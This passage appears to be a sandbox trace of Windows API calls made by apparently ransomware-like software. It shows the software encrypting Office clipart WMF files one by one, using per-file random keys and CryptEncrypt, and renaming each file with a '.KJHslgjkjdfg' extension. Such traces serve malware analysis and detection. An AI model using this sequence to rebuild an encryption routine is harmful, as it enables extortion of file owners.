dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.690] GetProcessHeap () returned 0x2ef0000 [0200.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.690] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.690] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.690] GetProcessHeap () returned 0x2ef0000 [0200.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.691] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.691] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.694] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x26f0, lpOverlapped=0x0) returned 1 [0200.695] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26f0) returned 1 [0200.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.695] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x26f0, lpOverlapped=0x0) returned 1 [0200.695] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.695] SetEndOfFile (hFile=0x130) returned 1 [0200.698] GetProcessHeap () returned 0x2ef0000 [0200.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.698] GetProcessHeap () returned 0x2ef0000 [0200.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.kjhslgjkjdfg")) returned 1 [0200.699] CloseHandle (hObject=0x130) returned 1 [0200.699] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0200.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.700] GetProcessHeap () returned 0x2ef0000 [0200.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.700] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.700] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.703] GetProcessHeap () returned 0x2ef0000 [0200.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.703] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.704] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.704] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.704] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ef4, lpOverlapped=0x0) returned 1 [0200.705] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f00, dwBufLen=0x4f00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f00) returned 1 [0200.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f00, lpOverlapped=0x0) returned 1 [0200.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.706] SetEndOfFile (hFile=0x130) returned 1 [0200.708] GetProcessHeap () returned 0x2ef0000 [0200.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.709] GetProcessHeap () returned 0x2ef0000 [0200.709] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.kjhslgjkjdfg")) returned 1 [0200.710] CloseHandle (hObject=0x130) returned 1 [0200.710] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0200.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.712] GetProcessHeap () returned 0x2ef0000 [0200.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.712] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.712] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.716] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.716] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.716] GetProcessHeap () returned 0x2ef0000 [0200.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.716] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.716] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.716] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.716] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.716] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.717] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2168, lpOverlapped=0x0) returned 1 [0200.717] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2170, dwBufLen=0x2170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2170) returned 1 [0200.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.718] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2170, lpOverlapped=0x0) returned 1 [0200.718] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.718] SetEndOfFile (hFile=0x130) returned 1 [0200.721] GetProcessHeap () returned 0x2ef0000 [0200.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.721] GetProcessHeap () returned 0x2ef0000 [0200.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.kjhslgjkjdfg")) returned 1 [0200.722] CloseHandle (hObject=0x130) returned 1 [0200.722] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0200.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.723] GetProcessHeap () returned 0x2ef0000 [0200.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.723] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.723] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.726] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.726] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.726] GetProcessHeap () returned 0x2ef0000 [0200.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.726] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.726] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.727] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.727] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.727] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f3c, lpOverlapped=0x0) returned 1 [0200.728] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40) returned 1 [0200.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.728] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f40, lpOverlapped=0x0) returned 1 [0200.728] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.728] SetEndOfFile (hFile=0x130) returned 1 [0200.731] GetProcessHeap () returned 0x2ef0000 [0200.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.731] GetProcessHeap () returned 0x2ef0000 [0200.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.kjhslgjkjdfg")) returned 1 [0200.732] CloseHandle (hObject=0x130) returned 1 [0200.732] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0200.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.734] GetProcessHeap () returned 0x2ef0000 [0200.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.734] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.734] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.736] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.736] GetProcessHeap () returned 0x2ef0000 [0200.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.737] CryptEncrypt (in: 